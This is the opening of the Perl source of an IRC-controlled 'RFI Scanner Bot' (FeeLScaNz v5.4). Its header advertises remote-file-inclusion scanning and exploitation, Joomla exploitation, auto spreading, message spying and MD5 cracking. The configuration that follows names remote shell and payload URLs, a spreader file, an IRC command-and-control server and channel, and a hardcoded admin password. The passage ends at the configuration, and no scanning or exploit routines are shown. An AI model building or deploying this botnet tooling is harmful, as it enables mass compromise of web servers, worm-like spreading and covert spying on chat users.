source bot feelscan 5.4

#!/usr/bin/perl
print('
##################################################
## FeeLCoMz RFI Scanner Bot v5.4 (FeeLScaNz.pl) ##
## By FaTaLisTiCz_Fx ##
## � Agu 2008 - Sep 2009, FeeLCoMz Community ##
##################################################
');
######################################################
## Usage: ##
## perl feelscanz.pl ##
## ##
## Notes: ##
## + All Parameters are optional ##
## ##
## Features: ##
## + RFI Scanner ##
## + RFI Scan & Exploit (Exploit per engine) ##
## + Joomla RFI Scan & Exploit ##
## + Milw0rm Search ##
## + Google bypass (Using PHP) ##
## + Message Spy & Save ##
## + Auto Spreading ##
## + MD5 Crack Search ##
######################################################
## History:
## + Fixed cryptz command (v4.5)
## + Fixed user commands execution by unauthorized user (v4.6) (thx to ajegile)
## + Added options to enable/disable encrypted password (v4.7)
## + Fixed missing hostname on sublink (v4.
## + Added links filter to exclude exploiting bad links (v4.9)
## + Fixed private message scanning (v4.9.2) (thx to BLood_roSE)
## + Added spread configuration (v5.0)
## + Updated search engines (v5.1)
## + Added HTTP Error handler for search engines (v5.2)
## + Added more search engines (v5.3) (thx to kaMtiEz, arianom, tukulesto, & Mask_Magician)
## + Added md5 hash & crack tool (v5.4)
#############################################################
## Greets: ##
## JavaHack, RoseBanditz, Kill-9, Hacker-Newbie, JatimCrew ##
#############################################################

use strict;
use IO::Socket::INET;
use LWP::UserAgent;
use HTTP::Request;
use Digest::MD5 qw(md5 md5_hex md5_base64);

my $versi = "v5.4";
my $cmdpre = "!"; #Command Prefix


##[ KONFIGURASI URL ]##
my $fx29id = "http://udon.nfe.go.th/images/id1?"; #Fx29ID1 (Simple) / (Advanced)
my $fx29id2 = "http://udon.nfe.go.th/images/id2?"; #Fx29ID2 (Advanced)
my $fx29sh = "http://www.aneka-asia.com/sendang-art/shell???"; #Fx29Sh (Optional)
my $bypass = "http://jatimcom.shell.la/id/google.php?"; #Googlerz (Optional)

##[ KONFIGURASI SOURCE ]##
my $mysite = "http://jatimcom.uni.cc/irc/"; #Path to Sources URL (Optional)
my $spread = "http://www.aneka-asia.com/sendang-art/jcom???"; #Fx29Spreadz (Optional)
my $joomlaz = "http://www.aneka-asia.com/sendang-art/joomla.txt?"; #Joomla's Bugs List (Required for Joomla RFI Scanner)

##[ KONFIGURASI IRC ]##
my @servers = ("irc.jatimcom.info"); #IRC Servers (Separated by coma)
my %bot = (
nick => "FeeLScaNz[".int(rand(100))."]",
ident => "Felc".int(rand(100)),
chan => ["#jatimcom"], #Channels to join (Separated by coma)
server => $servers[rand(scalar(@servers))],
port => "7000"
);


##[ KONFIGURASI USER ##
## status: admin, user
## cryptz: 0 = Non-Encrypted Password, 1 = Encrypted Password
my %boss = (
cimpli => {
pass => 'cimpli',
status => "admin",
cryptz => 0,
login => 0
},
);


##[ KONFIGURASI SPY ]##
my %spy = (
host => "", #Channels to show spied text
chanz => [""], #Channels to spy (Separated by coma)
wordz => ['http://.+?[=]', 'ftp://.+?'], #Text to spy (Regex, Separated by coma)
foundz => []
);

##[ KONFIGURASI BOT ]##
## Options: 0 = Disable, 1 = Enable
my %conf = (
showsite => 1, #Show link to debug channel (Yes/No)
linez => 4, #Lines per message
sleepz => 3, #Message delay per linez (seconds)
rfipid => 35, #Sites per proccess
rficnt => 100, #Counter setting
rficnt2 => 200, #Counter setting
timeout => 4, #Http socket time out
);